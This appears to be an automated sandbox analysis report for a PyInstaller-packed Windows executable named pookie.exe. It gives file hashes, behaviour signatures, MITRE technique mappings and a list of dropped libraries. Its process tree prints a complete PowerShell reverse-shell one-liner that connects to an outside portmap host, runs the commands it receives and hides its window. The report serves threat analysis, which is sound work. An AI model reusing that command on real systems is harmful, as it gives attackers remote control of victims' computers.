27b863b17b655db311528770e909035b733b21fc4ae41c4b43142b6e7520afeb

Analysis

max time kernel
0s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
04/09/2024, 21:08

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General

Target

pookie.exe
Size

6.9MB
MD5

bd884e7d5c3f0dae3bb7ec330640caf1
SHA1

e6e8ffcac08ca9fc81104f9c953b8c3f74b78aa9
SHA256

27b863b17b655db311528770e909035b733b21fc4ae41c4b43142b6e7520afeb
SHA512

00de9adeb21784ee523aad8539b5d3d03de4236b53c06bbff75e92ac57e762c386582c79da1324c2ac5a77aca962b87f87d617410b8de829077db186ee5f8c5c
SSDEEP

196608:DnKItzA1HeT39IigJ1ncKOVVtk7gjUnibQFv8F:LFC1+TtIi00VQyg4V

Score

7^/10

defense_evasion

Malware Config

Signatures

Loads dropped DLL 2 IoCs

pid	Process
4564	pookie.exe
4564	pookie.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4648	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 884 wrote to memory of 4564	884	pookie.exe	81
PID 884 wrote to memory of 4564	884	pookie.exe	81
PID 4564 wrote to memory of 4648	4564	pookie.exe	82
PID 4564 wrote to memory of 4648	4564	pookie.exe	82

C:\Users\Admin\AppData\Local\Temp\pookie.exe
"C:\Users\Admin\AppData\Local\Temp\pookie.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:884
- C:\Users\Admin\AppData\Local\Temp\pookie.exe
  "C:\Users\Admin\AppData\Local\Temp\pookie.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Start-Process $PSHOME\powershell.exe -ArgumentList {$client = New-Object System.Net.Sockets.TCPClient('Xtecher-35867.portmap.host',35867);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden
    3⤵
    - Hide Artifacts: Hidden Window
    PID:4648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI8842\VCRUNTIME140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\_bz2.pyd

Filesize
83KB

MD5
5bebc32957922fe20e927d5c4637f100

SHA1
a94ea93ee3c3d154f4f90b5c2fe072cc273376b3

SHA256
3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62

SHA512
afbe80a73ee9bd63d9ffa4628273019400a75f75454667440f43beb253091584bf9128cbb78ae7b659ce67a5faefdba726edb37987a4fe92f082d009d523d5d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\_decimal.pyd

Filesize
251KB

MD5
492c0c36d8ed1b6ca2117869a09214da

SHA1
b741cae3e2c9954e726890292fa35034509ef0f6

SHA256
b8221d1c9e2c892dd6227a6042d1e49200cd5cb82adbd998e4a77f4ee0e9abf1

SHA512
b8f1c64ad94db0252d96082e73a8632412d1d73fb8095541ee423df6f00bc417a2b42c76f15d7e014e27baae0ef50311c3f768b1560db005a522373f442e4be0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\_hashlib.pyd

Filesize
64KB

MD5
da02cefd8151ecb83f697e3bd5280775

SHA1
1c5d0437eb7e87842fde55241a5f0ca7f0fc25e7

SHA256
fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354

SHA512
a13bc5c481730f48808905f872d92cb8729cc52cfb4d5345153ce361e7d6586603a58b964a1ebfd77dd6222b074e5dcca176eaaefecc39f75496b1f8387a2283

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\_lzma.pyd

Filesize
156KB

MD5
195defe58a7549117e06a57029079702

SHA1
3795b02803ca37f399d8883d30c0aa38ad77b5f2

SHA256
7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a

SHA512
c47a9b1066dd9744c51ed80215bd9645aab6cc9d6a3f9df99f618e3dd784f6c7ce6f53eabe222cf134ee649250834193d5973e6e88f8a93151886537c62e2e2b

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C:\Users\Admin\AppData\Local\Temp\_MEI8842\_socket.pyd

Filesize
81KB

MD5
dd8ff2a3946b8e77264e3f0011d27704

SHA1
a2d84cfc4d6410b80eea4b25e8efc08498f78990

SHA256
b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085

SHA512
958224a974a3449bcfb97faab70c0a5b594fa130adc0c83b4e15bdd7aab366b58d94a4a9016cb662329ea47558645acd0e0cc6df54f12a81ac13a6ec0c895cd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\base_library.zip

Filesize
1.3MB

MD5
68f96a1f0b49d240b392ebb7ea147939

SHA1
5d8aa0cccc0f744f17e546ef7120308016cb5438

SHA256
29556cc179d145e9f64d287f0455991bd62a8dc4304e20429f83a1a40959fd09

SHA512
b326d5feb4f9b3d76254240dc3b0d16cb60c0a47d75ab7a1742fe7bb0bdfafff00a9d24a4c84559f1b2b04d23fd4f53d3b8d654532cb7c57c60bb83041331d35

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C:\Users\Admin\AppData\Local\Temp\_MEI8842\libcrypto-3.dll

Filesize
5.0MB

MD5
e547cf6d296a88f5b1c352c116df7c0c

SHA1
cafa14e0367f7c13ad140fd556f10f320a039783

SHA256
05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de

SHA512
9f42edf04c7af350a00fa4fdf92b8e2e6f47ab9d2d41491985b20cd0adde4f694253399f6a88f4bdd765c4f49792f25fb01e84ec03fd5d0be8bb61773d77d74d

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C:\Users\Admin\AppData\Local\Temp\_MEI8842\python312.dll

Filesize
6.6MB

MD5
d521654d889666a0bc753320f071ef60

SHA1
5fd9b90c5d0527e53c199f94bad540c1e0985db6

SHA256
21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2

SHA512
7a726835423a36de80fb29ef65dfe7150bd1567cac6f3569e24d9fe091496c807556d0150456429a3d1a6fd2ed0b8ae3128ea3b8674c97f42ce7c897719d2cd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\select.pyd

Filesize
30KB

MD5
d0cc9fc9a0650ba00bd206720223493b

SHA1
295bc204e489572b74cc11801ed8590f808e1618

SHA256
411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019

SHA512
d3ebcb91d1b8aa247d50c2c4b2ba1bf3102317c593cbf6c63883e8bf9d6e50c0a40f149654797abc5b4f17aee282ddd972a8cd9189bfcd5b9cec5ab9c341e20b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI8842\unicodedata.pyd

Filesize
1.1MB

MD5
cc8142bedafdfaa50b26c6d07755c7a6

SHA1
0fcab5816eaf7b138f22c29c6d5b5f59551b39fe

SHA256
bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268

SHA512
c3b0c1dbe5bf159ab7706f314a75a856a08ebb889f53fe22ab3ec92b35b5e211edab3934df3da64ebea76f38eb9bfc9504db8d7546a36bc3cabe40c5599a9cbd

Download Submit